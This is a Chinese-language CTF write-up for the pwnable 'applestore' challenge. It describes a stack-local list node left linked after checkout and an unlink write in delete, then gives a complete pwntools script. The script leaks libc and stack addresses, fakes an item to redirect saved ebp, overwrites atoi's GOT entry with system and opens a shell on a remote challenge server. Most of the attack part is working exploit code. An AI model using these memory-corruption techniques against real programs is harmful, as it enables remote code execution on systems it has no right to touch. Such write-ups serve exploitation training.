pwnable_applestore(unlink+局部變量生命週期外引用的漏洞)

pwnable_applestore(unlink+局部變量生命週期外引用的漏洞)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,在checkout函數中,如果v1=7174,則把這個函數裏的臨時節點鏈接到了鏈表當中,這就存在了局部變量外部引用的漏洞,通過其他函數,我們可以控制v2節點的內容,進而可以泄露信息等。

控制其name指針指向got表,然後調用cart函數即可泄露地址

通過僞造其next和prev指針,在delete裏,沒有free操作,只是一個雙向鏈表的解鏈操作,在這裏可以unlink攻擊

假如v4設置爲system函數地址,v5設置爲atoi函數的got表,這會崩潰,因爲在執行v4->prev時,將會往system代碼處寫數據,而那處是不可寫的。我們可以將v4設置爲atoi_got+0x22,然後將v5設置爲ebp_addr-0x8,這樣,unlink後,棧裏ebp的位置被寫入atoi_got+0x22,當程序退出該函數時,來到handler函數,而此時ebp就是atoi_got+0x22,ebp-0x22就是atoi_got的位置,這樣,通過read(&nptr,0x15)這裏就可以改寫atoi的got表爲system,然後getshell。

#coding:utf8
from pwn import *

#sh = process('./applestore',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',25466)
elf = ELF('./applestore')
atoi_got = elf.got['atoi']
libc = ELF('./libc-2.23.so')

def add(type):
   sh.sendlineafter('>','2')
   sh.sendlineafter('Device Number>',str(type))

def delete(index):
   sh.sendlineafter('>','3')
   sh.sendlineafter('Item Number>',str(index))

def cart(payload):
   sh.sendlineafter('>','4')
   sh.sendafter('Let me check your cart. ok? (y/n) >',payload)

def checkout():
   sh.sendlineafter('>','5')
   sh.sendafter('Let me check your cart. ok? (y/n) >','y')

for i in range(6):
   add(1)

for i in range(20):
   add(2)
#將一個棧地址鏈接到鏈表上,並且next和prev指針未初始化
checkout()
cart('y\x00' + p32(atoi_got) + p32(0) * 3)
sh.recvuntil('27: ')
atoi_addr = u32(sh.recv(4))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
environ_addr = libc_base + libc.sym['environ']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'environ_addr=',hex(environ_addr)
#泄露棧地址
cart('y\x00' + p32(environ_addr) + p32(0) * 3)
sh.recvuntil('27: ')
stack_addr = u32(sh.recv(4))
print 'stack_addr=',hex(stack_addr)
ebp_addr = stack_addr - 0x104
#僞造一個假item,修改ebp爲atoi_got+0x22
fake_item = p32(0)*2 + p32(atoi_got + 0x22) + p32(ebp_addr - 0x8)
#unlink
delete('27'+fake_item)
#修改atoi的got表,同時getshell
sh.sendlineafter('>',p32(system_addr) + ';/bin/sh\x00')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章